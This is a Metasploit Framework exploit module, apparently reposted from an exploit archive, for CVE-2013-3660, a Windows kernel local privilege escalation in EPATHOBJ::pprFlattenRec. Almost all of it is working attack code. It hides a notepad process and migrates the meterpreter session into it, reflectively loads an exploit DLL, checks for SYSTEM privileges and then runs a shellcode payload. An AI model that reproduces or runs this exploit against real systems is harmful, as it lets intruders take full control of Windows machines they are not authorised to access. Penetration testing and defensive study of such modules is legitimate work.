Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation

:
03.07.2013
:

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/process'

class Metasploit3 < Msf::Exploit::Local
Rank = AverageRanking

include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process

def initialize(info={})
super(update_info(info, {
'Name' => 'Windows EPATHOBJ::pprFlattenRec Local Privilege Escalation',
'Description' => %q{
This module exploits a vulnerability on EPATHOBJ::pprFlattenRec due to the usage
of uninitialized data which allows to corrupt memory. At the moment, the module has
been tested successfully on Windows XP SP3, Windows 2003 SP1, and Windows 7 SP1.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy <taviso[at]cmpxchg8b.com>', # Vulnerability discovery and Original Exploit
'progmboy <programmeboy[at]gmail.com>', # Original Exploit
'Keebie4e', # Metasploit integration
'egypt', # Metasploit integration
'sinn3r', # Metasploit integration
'Meatballs', # Metasploit integration
'juan vazquez' # Metasploit integration
],
'Arch' => ARCH_X86,
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Automatic', { } ]
],
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2013-3660' ],
[ 'EDB', '25912' ],
[ 'OSVDB', '93539' ],
[ 'URL', 'http://seclists.org/fulldisclosure/2013/May/91' ],
],
'DisclosureDate' => 'May 15 2013',
'DefaultTarget' => 0
}))

end

def check
os = sysinfo["OS"]
if os =~ /windows/i
return Exploit::CheckCode::Vulnerable
end
end

def exploit

if sysinfo["Architecture"] =~ /wow64/i
fail_with(Exploit::Failure::NoTarget, "Running against WOW64 is not supported")
elsif sysinfo["Architecture"] =~ /x64/
fail_with(Exploit::Failure::NoTarget, "Running against 64-bit systems is not supported")
end

print_status("Creating a new process and migrating...")

cmd = "#{expand_path("%windir%")}\\System32\\notepad.exe"
new_proc = session.sys.process.execute(cmd, nil, {'Hidden' => true })
new_pid = new_proc.pid

if not new_pid
print_error("Filed to create the new process, trying in the current one, if unsuccessful migrate by yourself")
else
print_status("Migrating to #{new_pid}")
migrate_res = false

begin
migrate_res = session.core.migrate(new_pid)
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError
migrate_res = false
end

if migrate_res
print_good("Successfully migrated to process #{new_pid}")
else
print_warning("Unable to migrate to process #{new_pid.to_s}, trying current #{session.sys.process.getpid} instead. If still unsuccessful, please migrate manually")
end
end

print_status("Trying to load the exploit and executing...")

session.core.load_library({
"LibraryFilePath" => File.join(Msf::Config.install_root, "data", "exploits", "cve-2013-3660", "exploit.dll"),
"UploadLibrary" => true,
"Extension" => false,
"TargetFilePath" => "#{rand_text_alpha(5 + rand(3))}.dll",
"SaveToDisk" => false
})

print_status("Checking privileges after exploitation...")

if is_system?
print_good("Exploitation successful!")
else
fail_with(Exploit::Failure::Unknown, "The exploitation wasn't successful but should be safe to try again")
end

if execute_shellcode(payload.encoded)
print_good("Enjoy!")
else
fail_with(Exploit::Failure::Unknown, "Error while executing the payload")
end

end


end

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